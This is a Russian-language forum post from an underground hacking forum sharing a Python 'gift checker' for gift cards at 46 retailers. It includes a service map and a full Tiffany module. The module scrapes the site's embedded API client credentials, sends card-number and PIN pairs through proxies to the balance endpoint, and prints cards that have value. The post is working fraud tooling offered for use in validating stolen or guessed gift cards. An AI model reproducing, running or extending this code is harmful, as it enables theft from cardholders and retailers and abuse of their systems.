• XSS.stack #1 – первый литературный журнал от юзеров форума

Python Gift Checker (H&M, Walmart, Nike, Apple, etc)

nightly

root@usss-int:~#
Premium
Регистрация
03.10.2019
Сообщения
373
Реакции
413
Старый скрипт для чека гифтов. 46 сервисов. Возможно уже и не работает ничего.

Python:
'aeropostale': {'m': aeropostale, 'i': 2},
'amc': {'m': amc, 'i': 3},
'aa': {'m': aa, 'i': 4},
'americaneagle': {'m': americaneagle, 'i': 5},
'anntaylor': {'m': anntaylor, 'i': 7},
'anthropologie': {'m': anthropologie, 'i': 8},
'apple': {'m': apple, 'i': 9},
'applebees': {'m': applebees, 'i': 10},
'banana': {'m': banana, 'i': 14},
'barnes': {'m': barnes, 'i': 15},
'basspro': {'m': basspro, 'i': 16},
'bbw': {'m': bbb, 'i': 17},
'bbb': {'m': bbw, 'i': 18},  # their site dead, Jan 31, 16:40
'bestbuy': {'m': bestbuy, 'i': 19},
'bonefishgrill': {'m': bonefishgrill, 'i': 22},
'cheesecake': {'m': cheesecake, 'i': 29},
'dicks': {'m': dicks, 'i': 37},
'footlocker': {'m': footlocker, 'i': 43},
'fye': {'m': fye, 'i': 44},
'gamestop': {'m': gamestop, 'i': 45},
'gap': {'m': banana, 'i': 46},
'homedepot': {'m': homedepot, 'i': 49},
'jcpenney': {'m': jcpenney, 'i': 53},
'kmart': {'m': kmart, 'i': 54},
'kohls': {'m': kohls, 'i': 55},
'lowes': {'m': lowes, 'i': 57},
'macys': {'m': macys, 'i': 58},
'marriot': {'m': marriot, 'i': 60},
'nordstrom': {'m': nordstrom, 'i': 61},
'oldnavy': {'m': banana, 'i': 67},
'outback': {'m': outback, 'i': 71},
'sears': {'m': sears, 'i': 85},
'sephora': {'m': sephora, 'i': 86},
'tiffany': {'m': tiffany, 'i': 96},
'victoriasecrets': {'m': victoriasecrets, 'i': 99},
'walmart': {'m': walmart, 'i': 101},
'hyatt': {'m': hyatt, 'i': 104},
'hm': {'m': hm, 'i': 116},
'nike': {'m': nike, 'i': 216},
'fandango': {'m': fandango, 'i': 241},
'crocs': {'m': crocs, 'i': 246},
'bgap': {'m': banana, 'i': 297},
'hotels': {'m': hotels, 'i': 496},
'nb': {'m': nb, 'i': 843},
'kgap': {'m': banana, 'i': 937},
'ogap': {'m': banana, 'i': 938}

Python:
from base64 import b64decode
from re import search

from modules.includes.connector import Checker


HOMEPAGE = 'https://www.tiffany.com/gifts/the-tiffany-gift-card/the-tiff' + \
    'any-gift-card-GRP07063/'
POST = 'https://www.tiffany.com/tiffanyco/ecomprod02/giftcardsprocessapi' + \
    '/api/process/v1/giftcards/balance'

CLEN = 16
PLEN = 8


def parse(sc: int, json: dict) -> float:
    syn = (400, 401, 500, 404)

    if sc in syn:
        raise SyntaxError

    if json.get('resultDto'):
        if json['resultDto']['giftCardBalance'] == '-1':
            raise AssertionError
    else:
        raise SyntaxError

    return float(json['resultDto']['giftCardBalance'][1:])


def get_data(html: str) -> tuple:
    try:
        uid = search(r'"clientid":"(\\.|[^"\\])*"', html).group(0)[12:-1]
        secret = search(r'"secret":"(\\.|[^"\\])*"', html).group(0)[10:-1]

        return (
            b64decode(uid).decode(),
            b64decode(secret).decode()
        )
    except Exception:
        raise SyntaxError


async def check(card: str, pin: str, proxy: str, oth=None) -> float:
    assert card.startswith('6')
    assert len(card) == CLEN
    assert len(pin) == PLEN
    assert card.isnumeric()
    assert pin.isnumeric()

    worker = Checker(HOMEPAGE, POST, proxy, True, True)
    await worker.start()

    try:
        uid, secret = get_data(await worker.first())

        worker.update_headers({
            'Referer': HOMEPAGE,
            'X-IBM-Client-Id': uid,
            'X-IBM-Client-Secret': secret
        })

        sc, json = await worker.make(json={
            "siteId": "1",
            "cardNumber": card,
            "pin": pin
        }, bjson=True)

        rese = parse(sc, json)
        print(f'Tiffany: {card}:{pin} with {rese}$')
    except Exception:
        raise
    finally:
        await worker.close()

    return rese
 

Вложения

  • module.zip
    60.9 КБ · Просмотры: 27


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх